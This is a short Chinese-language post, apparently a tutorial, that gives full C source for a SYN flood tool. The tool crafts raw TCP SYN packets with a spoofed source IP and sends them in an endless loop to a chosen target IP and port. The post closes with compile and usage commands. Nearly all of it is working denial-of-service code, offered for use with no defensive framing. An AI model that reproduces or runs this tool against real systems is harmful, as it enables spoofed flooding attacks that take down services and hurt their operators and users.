syn flooder攻击 （C语言）
vi syn.c (插入如下内容)
/* simple syn flooder !!! */
#include <sys/types.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <strings.h>
#include <stdio.h>
#include <stdlib.h>
unsigned short in_cksum(unsigned short *ptr,int nbytes);
int synflooding();
void sigint(int signo);
struct sockaddr_in target;
struct sockaddr_in pesudo;
int rawsock;
unsigned short in_cksum(unsigned short *addr, int len)
{
int sum=0;
unsigned short res=0;
while( len > 1) {
sum += *addr++;
len -=2;
}
if( len == 1) {
*((unsigned char *)(&res))=*((unsigned char *)addr);
sum += res;
}
sum = (sum >>16) + (sum & 0xffff);
sum += (sum >>16) ;
res = ~sum;
return res;
}
void sigint(int signo)
{
printf("catch SIGINT\n");
close(rawsock);
exit(0);
}
int main(int argc, char *argv[])
{
if( argc != 4) {
printf("usage:%s psuedoip attackip attackport\n", argv[0]);
exit(1);
}
if( inet_aton(argv[1], &pesudo.sin_addr) == 0) {
printf("bad ip address:%s\n", argv[1]);
exit(1);
}
if( inet_aton(argv[2], &target.sin_addr) == 0) {
printf("bad ip address:%s\n", argv[2]);
exit(1);
}
target.sin_port=htons(atoi(argv[3]));
signal(SIGINT, sigint);
synflooding();
exit(0);
}
int synflooding()
{
int i, j, k;
struct packet{
struct iphdr ip;
struct tcphdr tcp;
}packet;
struct pseudo_header{ /* For TCP header checksum */
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
}pseudo_header;
bzero(&packet, sizeof(packet));
bzero(&pseudo_header, sizeof(pseudo_header));
if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
perror("socket()");
exit(1);
}
packet.tcp.dest=target.sin_port; /* 16-bit Destination port */
packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */
packet.tcp.doff=5; /* Data offset */
packet.tcp.res1=0; /* reserved */
/* packet.tcp.res2=0; reserved */
packet.tcp.urg=0; /* Urgent offset valid flag */
packet.tcp.ack=0; /* Acknowledgement field valid flag */
packet.tcp.psh=0; /* Push flag */
packet.tcp.rst=0; /* Reset flag */
packet.tcp.syn=1; /* Synchronize sequence numbers flag */
packet.tcp.fin=0; /* Finish sending flag */
packet.tcp.window=htons(242); /* 16-bit Window size */
packet.tcp.urg_ptr=0; /* 16-bit urgent offset */
packet.ip.version=4; /* 4-bit Version */
packet.ip.ihl=5; /* 4-bit Header Length */
packet.ip.tos=0; /* 8-bit Type of service */
packet.ip.tot_len=htons(40); /* 16-bit Total length */
packet.ip.id=getpid(); /* 16-bit ID field */
packet.ip.frag_off=0; /* 13-bit Fragment offset */
packet.ip.ttl=255; /* 8-bit Time To Live */
packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
packet.ip.check=0; /* 16-bit Header checksum (filled in below) */
packet.ip.saddr=pesudo.sin_addr.s_addr; /* 32-bit Source Address */
packet.ip.daddr=target.sin_addr.s_addr; /* 32-bit Destination Address */
packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);
while(1) {
/* set src port and ISN */
packet.tcp.source=htons(1025+rand()%60000);
packet.tcp.seq=761013+rand()%100000;
packet.tcp.check=0;
pseudo_header.source_address=packet.ip.saddr;
pseudo_header.dest_address=packet.ip.daddr;
pseudo_header.placeholder=0;
pseudo_header.protocol=IPPROTO_TCP;
pseudo_header.tcp_length=htons(20);
bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);
packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);
sendto(rawsock,&packet,40,0,
(struct sockaddr *)&target,sizeof(target));
}
return 0;
}
gcc -o syn syn.c
用法：
usage: ./s psuedoip attackip attackport
./syn 伪装IP 攻击IP 攻击端口